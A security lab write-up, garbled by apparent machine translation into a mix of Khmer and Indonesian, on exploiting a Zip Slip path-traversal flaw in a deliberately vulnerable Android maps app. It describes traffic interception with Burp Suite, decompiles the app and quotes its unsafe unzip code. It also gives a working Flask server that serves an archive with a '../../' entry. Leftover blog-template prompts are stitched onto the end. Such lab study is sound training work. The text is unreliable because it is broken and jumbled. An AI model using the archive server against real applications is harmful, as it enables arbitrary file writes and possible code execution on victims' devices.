ភាពងាយរងគ្រោះ ZIP SLIP គឺជាអ្វី? Zip Slip គឺជាភាពងាយរងគ្រោះធ្ងន់ធ្ងរដែលរីករាលដាលនៅក្នុងដំណើរការទាញយកឯកសារដែលអនុញ្ញាតឱ្យអ្នកវាយប្រហារសរសេរឯកសារណាមួយទៅក្នុងប្រព័ន្ធ។ ជាធម្មតា លទ្ធផលនេះនៅក្នុង ភាពងាយរងគ្រោះត្រូវបានរកឃើញ និងបង្ហាញដោយការទទួលខុសត្រូវដោយក្រុមសន្តិសុខ Snyk មុនពេលវាត្រូវបានបង្ហាញជាសាធារណៈនៅថ្ងៃទី 5 ខែមិថុនា ឆ្នាំ 2018។ បញ្ហានេះប៉ះពាល់ដល់គម្រោងរាប់ពាន់ រួមទាំងគម្រោងដែលគ្រប់គ្រងដោយក្រុមហ៊ុនធំៗដូចជា HP, Amazon, Apache, Pivotal និងជាច្រើនទៀត។ RCE (ការប្រតិបត្តិលេខកូដពីចម្ងាយ) ។ Zip Slip ត្រូវបានគេទាញយកតាមរយៈបណ្ណសារដែលបង្កើតឡើងយ៉ាងពិសេសជាមួយនឹងឈ្មោះឯកសារដែលរួមបញ្ចូលការឆ្លងកាត់ថត ។ ភាពងាយរងគ្រោះនេះអាចកើតឡើងក្នុងទម្រង់បណ្ណសារជាច្រើនដូចជា tar, ghz, jar, war, cpio, apk, rar និង 7z ។ (eg, ../../evil.sh) ស្នូលនៃភាពងាយរងគ្រោះនេះគឺការឆ្លងកាត់ថត ដែលអ្នកវាយប្រហារអាចចូលទៅកាន់ផ្នែកនៃឯកសារប្រព័ន្ធនៅខាងក្រៅថតគោលដៅ។ បន្ទាប់មក អ្នកវាយប្រហារអាចបដិសេធឯកសារដែលអាចប្រតិបត្តិបាន ហើយដំណើរការវាពីចម្ងាយ ឬរង់ចាំឱ្យប្រព័ន្ធ ឬអ្នកប្រើប្រាស់ហៅឯកសារ ដូច្នេះពួកគេអាចដំណើរការពាក្យបញ្ជានៅលើម៉ាស៊ីនរបស់ជនរងគ្រោះ។ លើសពីនេះ ភាពងាយរងគ្រោះនេះក៏អាចបណ្តាលឱ្យខូចខាតដោយការសរសេរជាន់លើឯកសារកំណត់រចនាសម្ព័ន្ធ ឬធនធានរសើបផ្សេងទៀត ហើយអាចទាញយកបានទាំងនៅលើម៉ាស៊ីនរបស់អ្នកប្រើប្រាស់ និងនៅលើម៉ាស៊ីនមេ។ របៀបទាញយក ZIP Slip Kali ini untuk mempelajari cara exploit ZIP Slip Vulnerability nya memakai aplikasi android yang sengaja rentan dibuat untuk praktikum ini. Ini adalah aplikasi seperti Google Maps tetapi untuk menambahkan ផែនទីក្នុងស្រុក kita harus mendownload ធនធាន nya dengan cara ចុចប៊ូតុង di layar. + Tetapi sebelum kita analysis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikasi yang digunakan untuk menguji keamanan aplikasi web dan mobile. Alat ini berfungsi untuk ។ mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan Anda bisa mendownload Tools nya dengan ចុច Link berada dibawah ini: https://portswigger.net/burp/communitydownload Berikut adalah hasil ស្ទាក់ចាប់ ketika kita mau menambahkan maps nya, dan bisa di analysis kalau apk ini rentan karena permintaan API nya masih memakai protocol HTTP tidak menggunakan HTTPS yang dimana memungkinkan អ្នកវាយប្រហារ tidak hanya bisa melihat traffic yang di kimakai, untuk mendukung HTTPS memodifikasi ស្នើសុំនិងការឆ្លើយតបជា Cleartext ។ Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh តំបន់ permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini. Bisa dilihat juga menggunakan untuk melakukan វិស្វកម្មបញ្ច្រាស yang dimana kita bisa melakukan static analysis pada sebuah aplikasi memungkinkan penyerang untuk memahami struktur dan logika aplikasi. Tools JADX Setelah di analysis di file aplikasi membuat konfigurasi . Sehingga konfigurasi ini mengizinkan clear text traffic di setiap permintaan untuk domain yang diizinkan. Tetapi apakah domain ini benar-benar digunakan untuk CleartextTraffic tersebut. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam production. network_security_config.xml cleartextTrafficPermitted="true" ini adalah Hasil ស្ទាក់ចាប់ ketika kita mendownload ផែនទី nya yang dimana dia mengambil file ZIP dengan format .ghz Dan mencoba mendownload file .ghz secara manual dengan copas di កុំព្យូទ័រយួរដៃ. Berikut adalah isi file ZIP tersebut. Untuk mengetahui lokasi data yang di unzip oleh aplikasi kita bisa gunakan command di adb shell mobile emulator nya dan pastikan juga kalau kita sudah memiliki akses root di emulatornya. find / | grep australia oceania_nauru.map Bisa dilihat kalau path file yang di unzip ada di : /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/ Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip file map nya. ដំណាក់កាលវិភាគភាពងាយរងគ្រោះ Mari kita lihat lebih dekat pada arbitary file write Vulnerability dalam aplikasi nya, Seperti yang sudah kita ketahui issue nya terkait dengan File ZIP Maps Handling. Lakukan lagi ការវិភាគឋិតិវន្ត dengan mencari keyword: agar mengetahui class kode nya meng-handle file ZIP mapnya. ZipEntry Sebelum kita analysis lebih dalam code nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability Penjelasan៖ Kode berikut rentan terhadap serangan karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Di sini, dapat mengembalikan nama file dengan jalur relatif yang berbahaya, seperti . Ini bearti file tersebut bisa diekstrak di luar yang ditentukan. zip slip e.getName() ../../malicious.sh destinationDir InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f)); Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak ។ Jika jalur tersebut menuju ke lokasi berbahaya, seperti direktori root sistem atau folder lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya. Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita analysis code di apk nya: Pembutan Path Tanpa Validasi: String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName(); di sini, jalur file ( ) dibuat dengan menggabungkan path dari direktori tujuan ( ) dengan nama entry zip ( ). Namun, bisa berisi elemen path berbahaya seperti , yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( ). str3 file.getAbsolutePath() nextEntry.getName() nextEntry.getName() ../../ file Setelah path dibuat, file atau direktori dibuat langsung: if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); } Ini membuat atau menulis file tanpa memastikan bahwa adalah jalur yang aman ។ str3 ដំណាក់កាលនៃការកេងប្រវ័ញ្ច Untuk di tahap ini saya menyiapkan 2 hal untuk បរិស្ថាន serangan nya: : extension HTTP Mock dari burpsuite ini dapat mengubah response asli dari aplikasinya dengan mencocokkan rules yang sudah kita kirimkan dari maupun . Pada contoh berada dibawah ini saya merubah response nya dengan memilih បញ្ជូនបន្តទៅកាន់ URL, sehingga setiap response aplikasi secara real time akan mengambil response dari HTTP Mock. ដំឡើងថាមវន្ត HTTP Mocking Environment http history input manual 2. server jadi kita buat untuk malicious zip nya: ដំឡើងបរិស្ថានម៉ាស៊ីនមេក្នុងតំបន់ : សំណើរបស់ Karena setiap dari aturan yang kita cocokkan redirect ke malicious local from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234) តើអ្នកបានចូលទៅក្នុង Cybersecurity ដោយរបៀបណា? ហេតុអ្វីបានជាអ្នកជាអាជ្ញាធរលើសុវត្ថិភាពឌីជីថល? តើអ្នកជំនាញអ្វីនៅក្នុងលំហនេះ? ឧក្រិដ្ឋកម្មតាមអ៊ីនធឺណិតកំពុងវិវត្តឥតឈប់ឈរ។ តើមានអ្វីថ្មីនៅក្នុងពិភពនៃឧក្រិដ្ឋកម្មតាមអ៊ីនធឺណិតដែលសហគមន៍ HackerNoon អាចដឹងក្នុងការប្រយុទ្ធប្រឆាំងនឹងអ្នកក្លែងបន្លំឌីជីថល? តើមាននិន្នាការឬការគំរាមកំហែងផ្នែកសុវត្ថិភាពអ៊ីនធឺណិតដែលអ្នកអានគួរតែរិះរកមើលទេ? Trojan, malware, spyware និងច្រើនទៀត។ តើមានព័ត៌មានអ្វីខ្លះអំពីកំហុសចុងក្រោយបំផុតដែលអាចឆ្លងដល់កុំព្យូទ័រជាទីស្រឡាញ់របស់យើង ហើយយកព័ត៌មានរបស់យើង? វាមិនឈប់នៅទីនោះទេ។ អនុញ្ញាតឱ្យយើងដឹងពីអ្វីដែលអាក្រក់តាមអ៊ីនធឺណិតផ្សេងទៀតនៅទីនោះ! តើអ្នករក្សាខ្លួនអ្នកឱ្យមានសុវត្ថិភាពតាមអ៊ីនធឺណិតដោយរបៀបណា? តើអ្នកកំពុងរុករកបច្ចេកវិទ្យាថ្មីដែលមានភាពងាយរងគ្រោះដោយរបៀបណា? ផ្ទះឆ្លាតវៃ AI និង Internet of Things មានភាពងាយរងគ្រោះរបស់ពួកគេ។ គំនិតបន្ថែម សេចក្តីសន្និដ្ឋាន សូមប្រាកដថាត្រូវលុបព័ត៌មានទាំងអស់ខាងលើមុនពេលសរសេរ និងបញ្ជូនសេចក្តីព្រាងរបស់អ្នក។ អរគុណ!